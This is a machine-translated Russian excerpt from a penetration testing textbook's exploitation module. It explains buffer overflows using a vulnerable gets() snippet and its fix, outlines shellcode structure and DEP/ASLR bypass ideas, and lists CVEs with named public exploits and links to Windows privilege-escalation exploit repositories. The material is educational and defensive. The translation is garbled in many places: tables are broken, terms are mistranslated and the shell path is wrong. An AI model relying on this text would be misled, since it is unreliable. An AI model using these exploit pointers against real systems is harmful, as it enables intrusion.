Информация о рисках В нем содержится информация о рейтинге риска
уязвимость. Риск основан на CVSS.

Стр. Решебника 178

счет. Обычно существует два типа CVSS.


оценки: базовая оценка и временная оценка. База
Счет - это счет за все времена, в то время как Временной
Оценка - это оценка за определенный момент времени. Этот
означает, что темпоральный счет может меняться
время.
Уязвимость Это содержит некоторую информацию о
Информация уязвимость. Самая важная часть
информация здесь - есть ли публичный эксплойт
или не; и если да, то насколько это просто.
Можно использовать с Здесь перечислены инструменты, которые могут использовать уязвимость.
Наиболее распространенные инструменты: Metasploit (бесплатный открытый-
источник), CANVAS (коммерческий) и Core Impact
(Коммерческий).
Ссылка Сюда входят ссылки на исходную страницу CVE.
Информация и идентификатор Bugtraq.

https://translate.googleusercontent.com/translate_f 134/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 179

Модуль 07 Эксплуатация
Вступление
Эксплуатация - это этап, следующий за этапом анализа уязвимости. Когда
вы, тестировщик на проникновение, определили все существующие уязвимости
наряду с их рейтингами риска, вам следует продолжить использование этих
уязвимости методически и тактически. Вам следует начать с эксплуатации
критические уязвимости, которые вызывают наиболее серьезные воздействия, прежде чем перейти к
менее серьезные.
Эксплуатация уязвимости может вызвать широкий спектр воздействий, например, удаленное
выполнение кода, повышение привилегий, раскрытие информации, отказ в обслуживании
(DoS) и т. Д. Кроме того, эксплуатация обычно осуществляется с помощью «эксплойтов». эксплуатируют
это фрагмент кода, который выполняет единственную задачу, которая заключается в использовании преимуществ
уязвимостью и причинить преднамеренное воздействие.
Вы можете вручную собирать общедоступные эксплойты; отличный онлайн-ресурс
это база данных эксплойтов (www.exploit-db.com). Или вы можете использовать автоматизированный
платформа эксплуатации, имеющая обновленную базу данных эксплойтов. Один из лучших
фреймворки для эксплуатации в индустрии безопасности - это Metasploit , который будет
рассматривается позже в этом модуле.
Последствия эксплуатации
Эксплуатация - это действительно использование уязвимости. И по
Воспользовавшись этим, злоумышленник оказывает определенное воздействие. Иногда
воздействие настолько велико, что атакующий получает полный контроль над целью, и
иногда это столь же минимально, как вывести целевую систему из строя на
промежуток времени. Ниже приведены некоторые из наиболее распространенных воздействий на
их описания:
Удаленное выполнение кода (RCE)
Злоумышленник может выполнять произвольные команды в целевой системе. Он получает
доступ к системе на уровне оболочки в контексте эксплуатируемых
процесс / услуга. Иногда RCE может быть в контексте обычного пользователя и
иногда это в контексте администратора или root. Это самый
серьезное воздействие, потому что злоумышленник имеет доступ для чтения, записи и выполнения.
Повышение привилегий
После эксплуатации злоумышленник получает дополнительные привилегии. Это могло произойти, если

Стр. Решебника 180


https://translate.googleusercontent.com/translate_f 135/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

злоумышленник уже имеет низкопривилегированный доступ, а затем, воспользовавшись определенным


уязвимость, он получает привилегированный доступ. Иногда малообеспеченные
доступ является законным, как и в случае с сотрудником, у которого есть обычный пользователь
доступ, но не доступ администратора. В других случаях злоумышленник получает RCE с
низкие привилегии, а затем использует другую уязвимость, которая повышает его
привилегии.
Раскрытие информации
Этот тип эксплуатации раскрывает злоумышленнику определенную информацию. В
злоумышленник не имеет права видеть такую ​информацию. Однако после эксплуатации
уязвимость, злоумышленник может увидеть некоторую секретную информацию. Влияние
вот форма доступа только для чтения к некоторой информации; имея в виду
конфиденциальность информации нарушена. Тип информации может
варьироваться в зависимости от сценария; например, это может быть один файл,
каталог или даже всю файловую систему. Кроме того, в некоторых ситуациях части
память (RAM) раскрывается или раскрывается. Эти участки памяти могут
содержат учетные данные, токены или другую конфиденциальную информацию.
Отказ в обслуживании (DoS)
Этот тип воздействия означает, что целевая система выводится из строя на некоторое время.
определенный период времени. Злоумышленник не получает доступа к системе; он ни
нарушает конфиденциальность или целостность информации. Только
это влияет на доступность системы. Это может быть наименее серьезным среди
все виды ударов. Однако это не значит, что это не вредно. А
компания, которая полагается на сервер электронной коммерции для получения дохода, может быть
материально пострадает, если этот сервер будет принудительно отключен в течение
пару дней.
Эксплойт против полезной нагрузки
Говоря об эксплуатации, вы часто будете слышать два термина:
эксплойт и полезная нагрузка . Эксплойт представляет собой фрагмент кода (часто написанный на высокоуровн
язык, такой как C, Java, Python, Perl и т. д.), который автоматизирует процесс
эксплуатация. Обычно вам нужно указать IP-адрес цели.
системе вместе с номером порта - если он изменен со значения по умолчанию -
уязвимая сетевая служба. Эксплойт подключается к цели и выполняет
вся «грязная» работа до тех пор, пока она не принесет вам желаемого эффекта, например, удаленный код
исполнение. Под «грязной» работой здесь понимаются необходимые инструкции, передаваемые в
целевая система, использующая уязвимость; эти инструкции
заставить уязвимый сервис выполнять определенные задачи, о которых разработчик никогда не думал

Стр. Решебника 181

были возможны, и программа не должна работать при нормальных обстоятельствах.


Мы можем использовать этот набор инструкций как полезную нагрузку .
В предыдущих модулях мы заявляли, что наиболее распространенная категория
уязвимости - это отсутствие проверки ввода. Когда программа не фильтрует
вводимые пользователем данные - локально или удаленно злоумышленник может отправить
злонамеренный ввод - инкапсулированный в полезную нагрузку - для использования системы. Самый лучший
аналогия для понимания разницы между эксплойтом и полезной нагрузкой - это
аналогия пистолета и пули. Пистолет - это подвиг, а пуля -
полезная нагрузка. Эксплойт отправляет полезную нагрузку в целевую систему.
В прошлом полезная нагрузка называлась шелл-кодом; и причина была в том, что
наиболее полезными и опасными полезными нагрузками были те, которые порождают оболочку (т. е.
https://translate.googleusercontent.com/translate_f 136/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
удаленное выполнение кода).
Давайте кратко рассмотрим использование переполнения буфера (следующий раздел будет
подробнее об этом). Переполнение буфера считается наиболее распространенным
уязвимость в категории проверки ввода. Это также самый
опасная уязвимость, поскольку она может привести к выполнению вредоносного кода , т. е.
хакер может выполнить произвольный код / ​команду по своему выбору на
уязвимая система - независимо от того, является ли система локальной или удаленной.
Когда происходит переполнение буфера, дополнительные данные , выходящие за пределы
граница выделенного буфера перезаписывает важные машинные инструкции
что влияет на выполнение приложения. Когда эти машинные инструкции
будут перезаписаны случайными данными, приложение выйдет из строя.
Вместо того, чтобы отправлять случайные данные для переполнения буфера, хакеры отправляют
специально созданный поток байтов. Этот специально созданный поток байтов будет
состоять из различных машинных инструкций, которые операционная система
будет нормально выполняться. При этом приложение не выйдет из строя, а, скорее,
он будет продолжаться, пока выполняется сегмент, созданный хакерами.
Исторически сложилось так, что специально созданный поток байтов использовался для выполнения одной задач
который должен создать оболочку для хакера. Оболочка порождается запуском
Программа / etc / sh в Linux или% SYSTEMROOT% \ System32 \ cmd.exe в
Windows. И поэтому такой специально созданный поток был назван
« Шеллкод ».
Со временем хакеры проявили изобретательность и изобрели «шеллкоды», которые
множество задач, таких как добавление учетной записи пользователя, форматирование жесткого диска,

Стр. Решебника 182

скачать и выполнить и т. д. Таким образом, термин « шеллкод » стал неточным.


потому что шелл-коды больше не записывались в первую очередь для создания оболочки. А также
по этой причине был изобретен новый термин - «полезная нагрузка». Полезная нагрузка
обычно встроен в эксплойт. И когда хакер запускает эксплойт,
эксплойт отправляет полезную нагрузку уязвимой системе для выполнения.
Буфер над эксплуатацией, вводная демонстрация
Что общего между программой-вымогателем WannaCry (2017 г.),
Червь Conficker (2008 г.) и червь Blaster (2003 г.)? Все они эксплуатировали
уязвимости переполнения буфера в сетевых сервисах и протоколах Microsoft!
Эти уязвимости описаны в следующих бюллетенях Microsoft:

1. MS17-010 - Обновление безопасности для SMB-сервера Microsoft Windows.


2. MS08-067 - Уязвимость в серверной службе делает возможным удаленное
Выполнение кода.
3. MS03-026 - Переполнение буфера в интерфейсе RPC может разрешить код
Исполнение.

Переполнение буфера считается одной из самых серьезных уязвимостей


которые могут существовать в ОС, процессе, сетевой службе или любой другой
исполняемая программа, написанная в основном на языке C. Причина в том, что это
уязвимость может легко привести к выполнению произвольного кода, что является возможностью
злонамеренного хакера, чтобы полностью контролировать целевую уязвимую систему с помощью
получение доступа, подобного оболочке.

Анатомию атак переполнения буфера можно быстро обрисовать следующим образом:

https://translate.googleusercontent.com/translate_f 137/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

1. Программа - сетевая служба - читает ввод от пользователя,


например, имя пользователя, пароль и т. д.
2. Вредоносный хакер вставляет большие данные; входные данные должны быть больше
чем переменный размер, указанный разработчиком.
3. Большие данные переполняют сегмент памяти, выделенный для
входная переменная; лишняя часть распределяется по соседней памяти
ячейки, стирая важную информацию.
4. На этом этапе программа вылетает.

Стр. Решебника 183

Чтобы получить удаленную оболочку, хакеру необходимо создать специальный ввод. Этот
специально созданный ввод будет перезаписывать соседние ячейки памяти данными, которые
будет отлично выполняться позже ЦП, обманывая его для выполнения команд
вставлен вредоносным хакером.
Указатель инструкции
Указатель инструкции (IP) - это регистр ЦП в архитектуре Intel (IA),
и его основная роль состоит в том, чтобы указать на следующую инструкцию в памяти, которая должна быть
выполнен. Он был введен в серию 16-битных ЦП, где каждый регистр был
Длина 16 бит. Когда была изобретена 32-битная архитектура, IP стал
Длиной 32 бита и был переименован в Extended Instruction Pointer (EIP); потом
когда была представлена ​64-битная архитектура, она стала 64-битной по длине
и был переименован в RIP.

Независимо от того, называется ли он, EIP, RIP или просто IP, роль этого регистра -
тем же; и то есть он содержит адрес памяти следующей инструкции, которая будет
выполнен. Таким образом, когда текущая инструкция завершает выполнение, CPU
проверяет регистр IP, переходит к адресу памяти, указанному в этом
регистр, получает инструкцию туда, увеличивает IP на одну единицу - 32 бита,
64bit и т. Д. - чтобы он указывал на следующий и выполнял недавно
получил инструкцию. И процесс повторяется.

Обычно IP увеличивается на одну единицу, чтобы получить следующую инструкцию в


объем памяти; это означает, что инструкции хранятся в последовательной памяти
ячейки с последовательными адресами. Однако бывают случаи, когда казнь
путь должен перейти в другой сегмент памяти с набором инструкций для
быть выполненным, например, в случае вызова функции. И в конце
при выполнении этого сегмента памяти путь выполнения должен вернуться к
адрес, следующий за инструкцией перехода. Следующая диаграмма иллюстрирует
это:

https://translate.googleusercontent.com/translate_f 138/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 184

Путь выполнения на диаграмме выше выглядит следующим образом:

1 ➔ 2 ➔ 3 ➔ 11 ➔ 12 ➔ 13 ➔ 4 ➔ 5

Первоначально ячейки памяти 1, 2 и 3 выполняются последовательно. Однако, поскольку


инструкция в ячейке 3 - это переход к ячейке памяти 11, выполнение перейдет
в ячейку 11 и выполните следующие инструкции. В ячейке памяти 13 есть
команда возврата , и, как таковая, путь выполнения вернется к месту
сразу после инструкции JUMP и продолжайте оттуда.

Теперь вопрос действительно такой: когда наступит момент ВОЗВРАТА, как


знает ли ЦП, по какому адресу идти? И ответ: он хранится в
Стек!
Буфер и стек
Буфер - это просто последовательность последовательных ячеек памяти, зарезервированных для
определенная переменная. И обычно это часть большей области, называемой стеком. Но
чтобы понять это, нам нужно получить полную картину; каждый процесс или поток - фактически
каждой функции исполняемой программы - отводится часть памяти
выделяется ОС. Эта часть разделена на два основных раздела:

а. Раздел Кода : он содержит фактические поручения


функция или процесс.
б. Раздел данных : он содержит все типы переменных - статические,
динамический, инициализированный или неинициализированный - наряду с другими необходимыми
Информация.

На следующей диаграмме схематично показано расположение памяти одной функции:

Стр. Решебника 185

https://translate.googleusercontent.com/translate_f 139/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Часть раздела данных - это стек, который представляет собой LIFO ( Last-In-First-Out ).
контейнер. В частности, стек содержит адрес возврата , который является
инструкция, которая должна выполняться сразу после завершения текущей функции или процесса.
Это адрес сразу после инструкции, которая выполнила переход или вызов
наша текущая функция. Помимо адреса возврата, стек содержит
переменные фиксированного размера, т. е. статически размещенные переменные.

Если одна из этих переменных считывается пользователем, программе необходимо сделать


убедитесь, что определяемый пользователем ввод не превышает размер выделенного буфера.

Что произойдет, если ввод будет больше и программа ничего не сделает с


Это? Он переполнит свой буфер и перезапишет соседние буферы и, возможно,
перезапишите обратный адрес!
Проверка ввода
Давайте еще раз посмотрим на изображение выше и предположим, что переменная 2
было именем пользователя, которое пользователь вводит во время выполнения. Предположим также, что
программист выделил 50 символов (байтов) для размера переменной 2.
Таким образом, ОС резервирует 50 байт для буфера переменной 2. Фрагмент кода AC для
эта операция может выглядеть так:

...
char имя пользователя [50];
получает (имя пользователя);
...

Стр. Решебника 186

Этот код C считывает [получает ()] введенные пользователем данные и помещает их в имя пользователя.
буфер. Код не проверяет размер ввода. Он помещает его прямо в
буфер как есть. Отсутствие проверки ввода является основным фактором, позволяющим
злонамеренный хакер для использования кода. Чтобы понять это, давайте посмотрим на
Возможны различные сценарии:

1. Пользователь вводит ввод, длина которого не превышает 50 символов.


В этом случае весь ввод помещается в буфер. Если мы увеличим масштаб
стек сейчас, вот как он будет примерно выглядеть, если пользователь
вводит вход ABCDEFGHIJKLMNOPQRSTUVWXYZ :

2. Пользователь вводит ввод, длина которого превышает 50 символов. И в


В этом случае лишние символы будут перезаписывать соседние ячейки.
Посещая наш предыдущий пример, входные данные повредят буфер
переменная 1; и если вход достаточно большой, он даже перезапишет
Обратный адрес. На следующих двух диаграммах показано, как
память будет выглядеть, если пользователь вводит 52 и 78 символов,
https://translate.googleusercontent.com/translate_f 140/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
соответственно:

Стр. Решебника 187

Что произойдет, если обратный адрес будет поврежден? Хорошо, когда


текущая функция завершает выполнение, ЦП получит любое значение
доступных в ячейках обратного адреса, поместите это значение в регистр EIP и
затем идите и получите инструкцию, которая находится по этому адресу. Тем не мение,
поскольку адрес теперь поврежден (это случайное число), он будет
указывают на часть памяти, которая включает в себя содержимое, не имеющее смысла для
ПРОЦЕССОР. И это приведет к сбою программы!

Сбой программы или службы означает отказ в обслуживании (DoS)


атака. Однако этого недостаточно! Мы хотим воспользоваться этим
слабость и получение чего-то большего, чем просто DoS; и это искусство
эксплуатация.

Но прежде чем мы объясним процесс эксплуатации, нам нужно знать, что


Фактическая уязвимость существует в первую очередь из-за отсутствия проверки ввода.
То есть, если бы разработчик явно проверил размер ввода и
принимается максимум 50 символов, уязвимость не будет
существовал. Безопасный код будет примерно таким:

...
int MAXLEN = 50;
char имя пользователя [MAXLEN];
fgets (имя пользователя, MAXLEN, stdin);
...

В приведенном выше примере используется функция fgets (), которая безопасна по сравнению с
функция gets (). Последний не ограничивает количество символов для чтения.
от пользователя, а первый указывает максимальное количество символов для
читать. Используя fgets (), если пользователь вводит более 50 символов, только первый
50 читаются. В C есть некоторые функции, которые считаются небезопасными в смысле

https://translate.googleusercontent.com/translate_f 141/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 188

что они по своей сути не обеспечивают проверку ввода; таким образом, если разработчик
не проверяет ввод явно, программа становится уязвимой. это
всегда рекомендуется заменять эти небезопасные функции альтернативными
безопасные - те, которые имеют встроенную проверку размера ввода. Следующий
в таблицах показаны некоторые небезопасные функции и их альтернативные безопасные
версии:

Небезопасная функция Альтернативная безопасная функция


получает () fgets ()
strcpy () strncpy ()
strcat () strncat ()
sprintf () snprintf ()

Эксплуатация
До сих пор мы видели, что отправка достаточно большого ввода может вызвать отказ
услуга. Но как получить удаленную оболочку - выполнение команд - на
целевая система? Мы получаем это, создавая специальный ввод, который дает определенный
цель; то есть нам нужно обманом заставить ЦП выполнить часть нашего ввода.
Переменная, содержащая наш ввод, - это единственное, что мы можем контролировать. Мы
не может управлять какой-либо частью или разделом памяти, кроме ячеек, выделенных для
эта переменная; и поскольку нет проверки границ, наш ввод может расширять
за пределы выделенных ячеек в соседние ячейки памяти.

Для правильного использования наш вклад должен достичь двух целей:

1. Он должен перезаписать обратный адрес (предыдущий EIP) новым


адрес по нашему выбору.
2. Он должен содержать некоторые исполняемые инструкции, которые должны
в конечном итоге будет выполняться ЦП.

Классический способ достичь вышеуказанных целей - сделать новый Return


Адрес, указывающий на начало того самого буфера, который содержит наш ввод; а также
конечно, поскольку наш ввод теперь содержит машинные инструкции, они будут
выполнен. На следующем изображении показано, как будет выглядеть стек, когда вы
переполнить буфер нашим созданным вводом - предполагая, что наш буфер находится на

Стр. Решебника 189

адрес 0x11223344:

https://translate.googleusercontent.com/translate_f 142/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Что именно произойдет, когда наш ввод будет введен в стек?


После того, как стек будет испорчен нашим созданным вводом, функция продолжит работу.
выполняются в соответствии с инструкциями в сегменте кода. Всякий раз, когда есть
ссылка на одну из переменных, которые только что были перезаписаны, не имеет значения
содержимое будет извлечено. Но настоящее действие происходит в конце
функция, когда выполняется инструкция возврата!

Когда приходит время для возврата функции, CPU автоматически


извлек из стека обратный адрес; но теперь вместо того, чтобы указывать на
предыдущая вызывающая функция, обратный адрес сообщит процессору, что нужно получить
инструкция при запуске буфера. Наши введенные инструкции будут получены
один за другим и выполняются, тем самым выполняя нужные нам действия.

Самая распространенная инструкция, которую используют хакеры с


обнаружение уязвимостей переполнения буфера - это инструкция для выполнения
оболочка процесса. В среде Windows это будет выполнять
C: \ Windows \ System32 \ cmd.exe, в то время как в системах UNIX / Linux это будет
выполнять / bin / bash.

Итак, обработанный ввод будет выглядеть - с более высокой точки зрения - следующим образом:
exec («/ bin / bash»): случайные символы (NOP): адрес буфера.

Стр. Решебника 190

Методы смягчения последствий


Чтобы предотвратить атаки переполнения буфера, поставщики ОС и ЦП
изобрел различные программные и аппаратные механизмы для эксплуатации
невозможно или непрактично. Здесь мы должны подчеркнуть, что первые и самые
важная линия защиты лежит не в этих техниках, а в
правильная проверка вводимых пользователем данных. Другими словами, разработчик обязан
разрабатывать безопасные программы с самого начала. Техники, которыми мы являемся
разговоры здесь могут иметь некоторые последствия, если в
сам код. Следует также отметить, что эти методы делают эксплуатацию
сложнее, но не невозможно. Каждый изобретенный метод смягчения последствий
некоторые заостренные обойдены, хотя для обхода защитных стен теперь требуется
усерднее работать со стороны хакера. Ниже приведены два популярных
методы смягчения:

https://translate.googleusercontent.com/translate_f 143/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
1. Предотвращение выполнения данных (DEP)
Этот метод включает в себя пометку сегмента данных памяти как Non-
Исполняемый файл (NX). Таким образом, теперь в стеке могут храниться только данные. Любая попытка
выполнить код, находящийся в стеке, не удастся. И учитывая, что наш созданный ввод
- который включает инструкции - в конечном итоге будет находиться в стеке, наш
инструкции не будут выполняться. Когда функция вернется и наш вставленный
Обратный адрес вставлен в регистр EIP, ЦП должен получить
и выполнить инструкцию, на которую указывает этот EIP (наше значение); однако, поскольку
теперь EIP указывает на неисполняемый стек, произойдет исключение.

Меру DEP можно обойти с помощью так называемого Return-to-libc.


Return-to-libc полагается на тот факт, что при выполнении программы она
вероятно, будет включать функции из внешних библиотек, в которые он
связаны - статически или динамически. Например, функция gets () является частью

Стр. Решебника 191

библиотеки stdio. Это означает, что все функции, включенные в stdio


библиотеки загружаются в память и могут быть вызваны во время выполнения.

Вместо перезаписи адреса возврата адресом буфера


(внутри стека), мы можем перезаписать его адресом функции stdio, которую мы
хочу выполнить. Например, мы можем вызвать функцию system () и дать ей
параметр «bin / bash».

2. Рандомизация разметки адресного пространства (ASLR)


Мера ASLR зависит от рандомизации относительных адресов
ячейки памяти каждый раз при запуске программы. Короче говоря, это означает, что каждый раз
уязвимая программа запускается, буфер получает новый адрес. Это делает это
трудно жестко запрограммировать адрес, который перезапишет адрес возврата.

Одним из факторов, упрощавших использование переполнения буфера, был факт:


что каждый раз, когда программа запускается в одной и той же среде, ячейки памяти
содержащие Код и Данные всегда получают одни и те же относительные адреса. А
хакер, который реконструирует программу, может точно знать, какой адрес
буфера есть, а затем использовать его для перезаписи адреса возврата. Тем не мение,
с ASLR это становится невозможным, поскольку адрес буфера не может
быть известным заранее.

Типы эксплуатации
Систему можно использовать удаленно - по сети или через Интернет -
или локально. Это две широкие категории эксплуатации. С удаленным
эксплуатации, злоумышленник может либо использовать уязвимый сервер на определенном
Номер порта TCP или UDP или использовать клиентское приложение, которое затем инициирует
удаленное подключение к злоумышленнику. Таким образом, удаленная эксплуатация - это еще больше
разделены на эксплуатацию на стороне сервера и эксплуатацию на стороне клиента. С другой
стороны, локальная эксплуатация имеет место, пока злоумышленник уже имеет некоторую форму
доступа к системе; и такая эксплуатация приносит пользу злоумышленнику за счет
повышение привилегий этого доступа. То есть местная эксплуатация также
называется локальным повышением привилегий .
Удаленная эксплуатация
Любая эксплуатация, которая предоставляет злоумышленнику удаленный доступ к системе.
это удаленная эксплуатация. Чаще всего удаленная эксплуатация не требует
https://translate.googleusercontent.com/translate_f 144/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 192

форма аутентификации в системе; это означает, что злоумышленник не имеет


доступ к системе, ни с низким, ни с высоким уровнем привилегий. Иногда,
удаленная эксплуатация предоставляет злоумышленнику минимальные или низкие привилегии
доступ, и иногда злоумышленник оказывается с высокопривилегированным доступом.
Все зависит от эксплуатируемой службы или приложения.

Уязвимые приложения, которые могут быть использованы, могут быть представлены как
сетевой сервер или его можно запустить как клиентское приложение в целевой системе. В
в случае его обнаружения эксплуатация здесь называется серверной; и это
самый простой вид эксплуатации. С другой стороны, если это клиентское приложение (т. Е.
на стороне клиента), для эксплуатации требуется дополнительный шаг; и то есть социальные
инженерное дело. Другими словами, злоумышленнику необходимо обманом заставить целевого пользователя
выполнение эксплойта .
Серверная эксплуатация
Сервер - это программная служба, предоставляемая по сети; то есть может
доступ через определенный номер порта по протоколу TCP или UDP. А
сетевая служба должна прослушивать определенный номер порта TCP или UDP.
Примеры серверов:

Категория Примеры Стандартные порты


Веб-серверы Apache httpd 80
Microsoft IIS 443
FTP-серверы Всфтпд 21 год
Filezilla
WinSCP
SSH-сервер OpenSSH 22
Окна Файл Блок сообщений сервера 137
Совместное использование
(SMB) 139
Общий Интернет-файл 445

Стр. Решебника 193

Система (CIFS)
Linux Файл Сетевая файловая система 2049 г.
(NFS)
Совместное использование
Серверы баз данных MySQL 3306
MSSQL 1433

https://translate.googleusercontent.com/translate_f 145/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Postgres 5432

Это наиболее простая эксплуатация и, как правило, самая


опасный. Все, что нужно сделать злоумышленнику, - это доставить полезную нагрузку удаленно с помощью
подключение к этому конкретному порту. Нет физического доступа, предварительной аутентификации или
требуется социальная инженерия.
Ниже приведены примеры уязвимостей на стороне сервера и их публично
доступные эксплойты:

Сервер и ID уязвимости и Публичный эксплойт


Версия Описание
Апач Широ CVE-2016-4437 Апач Широ 1.2.4 -
v1.2.4 « Apache Shiro до 1.2.5, Cookie RememberME
когда ключ шифрования не был Десериал RCE
настроен для "запомнить (Метасплоит)
меня ", позволяет удаленно
злоумышленники казнить произвольные
код или обойти предполагаемый доступ
ограничения через неуказанный
параметр запроса. ”
Microsoft CVE-2020-0796 Майкрософт Виндоус -
SMBv3 « Удаленное выполнение кода Удаленный SMBGhost
уязвимость существует в пути Выполнение кода

Стр. Решебника 194

что Microsoft Server


Блок сообщений 3.1.1 (SMBv3)
протокол обрабатывает определенные
запросы, также известные как Windows SMBv3
Клиент-серверный удаленный код
Уязвимость исполнения ». ”
Microsoft CVE-2017-0144 Майкрософт Виндоус
SMBv1 Сервер SMBv1 в Microsoft 7 / 8.1 / 2008 R2 / 2012
Windows Vista с пакетом обновления 2R2(SP2);
/ 2016Окна
R2 -
Server 2008 SP2 и R2 SP1; SMB EternalBlue
Windows 7 SP1; Windows 8.1; Удаленный код
Windows Server 2012 Gold и Выполнение (MS17-
R2; Windows RT 8.1; а также 010) Майкрософт
Windows 10 Gold, 1511 и Windows 7 / 8.1 / 2008
1607; и Windows Server 2016 R2 / 2012 R2 / 2016 R2
позволяет удаленным злоумышленникам - SMB EternalBlue
выполнить произвольный код через Удаленный код
созданные пакеты, также известныеВыполнение
как Windows(MS17-
Удаленное выполнение кода SMB 010)
https://translate.googleusercontent.com/translate_f 146/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Уязвимость . Этот
уязвимость отличается от
те, что описаны в CVE-2017-
0143, CVE-2017-0145, CVE-
2017-0146 и CVE-2017-0148

Обычно уязвимости этого типа обнаруживаются через сеть.


сканирование уязвимостей (например, с помощью такого инструмента, как Nessus). Всем с нефильтрованным
сетевое соединение может обнаружить их, поскольку они не требуют какой-либо формы
аутентификация. Таким образом, типичное сканирование без аутентификации подходит для обнаружения
серверные уязвимости, которые можно использовать.
Клиентская эксплуатация
Этот тип эксплуатации нацелен на приложения, которые не доступны через TCP.
или порты UDP. Эти приложения включают приложения, которые запускают сеть
подключения к внешним серверам и приложениям, работающим на рабочем столе пользователя

Стр. Решебника 195

без сетевых взаимодействий. Примерами первого типа являются веб-браузеры.


( Chrome , Firefox , Internet Explorer и др.), А также примеры второго типа.
это WinZIP , Adobe Acrobat Reader , RealPlayer и т. д. Оба типа
приложения не доступны напрямую через сеть. Злоумышленник
не могут подключиться к ним напрямую и использовать их. Нужна дополнительная
шаг, который включает в себя какие-то уловки социальной инженерии.

Если злоумышленник знает, что целевой пользователь использует уязвимое приложение, например,
RealPlayer, он может приступить к разработке эксплойта для него. Эксплойт будет
обычно выглядит как файл MP3; однако он содержит вредоносную полезную нагрузку.
После этого злоумышленнику необходимо доставить этот файл эксплойта пользователю. В
способ доставки может отличаться в зависимости от ситуации. Общие способы
доставка включает отправку фишингового письма со ссылкой или вложением в
загрузить эксплойт, предоставив пользователю USB-накопитель, содержащий эксплойт,
и многие другие.
Когда пользователь открывает или запускает файл, вызывается уязвимое приложение.
( выполняется как процесс ), и теперь полезная нагрузка вводится в этот процесс. В
полезная нагрузка запускается и инициирует соединение с злоумышленником
система. У злоумышленника теперь есть сеанс оболочки для машины жертвы.
Ниже приведены примеры уязвимостей на стороне клиента и их публично
доступные эксплойты:
Клиентское приложениеID
и уязвимости и Публичный эксплойт
Версия Описание
RealNetworks Идентификатор Bugtraq: 47039 RealPlayer 11 - '.rmp'
RealPlayer 11 « RealPlayer склонен к Удаленный буфер

https://translate.googleusercontent.com/translate_f 147/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
удаленное переполнение буфера Переполнение
уязвимость, потому что

Стр. Решебника 196

приложение не выполняет
адекватные пограничные проверки
на вводе, вводимом пользователем. ”
Гугл Хром CVE-2019-5786 Гугл Хром
до «Проблема времени жизни объекта72.0.3626.119
в -
72.0.3626.121 Моргание в Google Chrome Использование FileReader
до 72.0.3626.121 После освобождения
позволил удаленному злоумышленнику
(Метасплоит)
потенциально выполнять из
ограничивает доступ к памяти через
созданная HTML-страница ».
WinRAR 3.00 CVE-2006-3845 RARLAB WinRAR
через 3.60 beta « Переполнение буфера на основе3.x
стека.
- Имя файла LHA
6 в lzh.fmt в WinRAR 3.00 Обработка буфера
через 3.60 beta 6 позволяет Переполнение
удаленных злоумышленников для выполнения
произвольный код через длинный
имя файла в архиве LHA ».

Обнаружение уязвимостей на стороне клиента не так просто, как на стороне сервера


уязвимости. Например, злоумышленник может предположить, что цель уязвима,
отправьте эксплойт и ждите попадания; в качестве альтернативы, он может выполнить несколько шагов:
печать и профилирование для получения информации о приложениях-жертвах
версии.
Если вы выполняете разрешенное тестирование на проникновение, вы можете выполнить
аутентифицированное сканирование уязвимостей. Как объяснялось в предыдущем модуле,
это можно сделать в Nessus, предоставив определенные учетные данные.
Локальное использование (повышение локальных привилегий)
В отличие от удаленной эксплуатации, которая предоставляет злоумышленнику удаленную оболочку
сеансы, локальная эксплуатация запускается локально на машине, и ее влияние происходит
также на локальной машине. При локальной эксплуатации не будет удаленного
сессия; и поэтому они ценны только в том случае, если у злоумышленника есть
своего рода доступ - независимо от привилегий - к системе. Их актуальные
полезность заключается в том, что они дают злоумышленнику более высокие привилегии. То есть

Стр. Решебника 197

почему локальная эксплуатация часто называется повышением привилегий. Например, если


злоумышленник имеет доступ обычного пользователя, он может стать пользователем root или администратором.
Здесь очень важно упомянуть, что тип ограниченного доступа
злоумышленник не обязательно должен быть физическим. Другими словами, злоумышленник
https://translate.googleusercontent.com/translate_f 148/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
не обязательно физически находиться на консоли машины для выполнения привилегий
эскалация; он может иметь такой доступ удаленно. Тем не менее, в такой далекой
доступ с низким уровнем привилегий, злоумышленник выполняет локальную эксплуатацию и повышает
привилегии. Например, злоумышленник может получить доступ к цели через SSH с помощью
обычная учетная запись пользователя; и запустив локальный эксплойт, злоумышленник получает root
уровень доступа.
Ниже приведены примеры локальных эксплойтов повышения привилегий для
Системы Windows:
Версия ОС Уязвимость Общедоступный эксплойт
ID и
Описание
Окна CVE-2019- https://github.com/unamer/CVE-
08.07.2008, 2012, 2016 1458 2019-1458
« Возвышение
привилегии
уязвимость
существует в
Окна
когда
Win32k
составная часть
не в состоянии
должным образом
ручка
объекты в
память, она же
'Win32k
Высота
Привилегия
Уязвимость ». ”

Стр. Решебника 198

Окна CVE-2017- https://github.com/SecWiki/windows -


10 / 8.1 / 7/2016/2010/2008 0213 ядро-эксплойты / дерево / мастер / CVE-
« Окна 2017-0213
COM
Совокупный
Маршалер в
Microsoft
Окна
Сервер 2008
SP2 и R2
SP1,
Windows 7
SP1,
Windows 8.1,
Окна
Сервер 2012
Золото и R2,

https://translate.googleusercontent.com/translate_f 149/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Windows RT
8.1, Windows
10 золота,
1511, 1607, г.
и 1703 г.,
и Windows
Сервер 2016
позволяет
высота
привилегия
уязвимость
когда
злоумышленник бежит
специально
обработанный
заявление,
он же

Стр. Решебника 199

'Окна
COM
Высота
Привилегия
Уязвимость ». ”

Чтобы узнать о других эксплойтах повышения привилегий Windows, проверьте следующее


ссылка:
https://github.com/SecWiki/windows-kernel-exploits
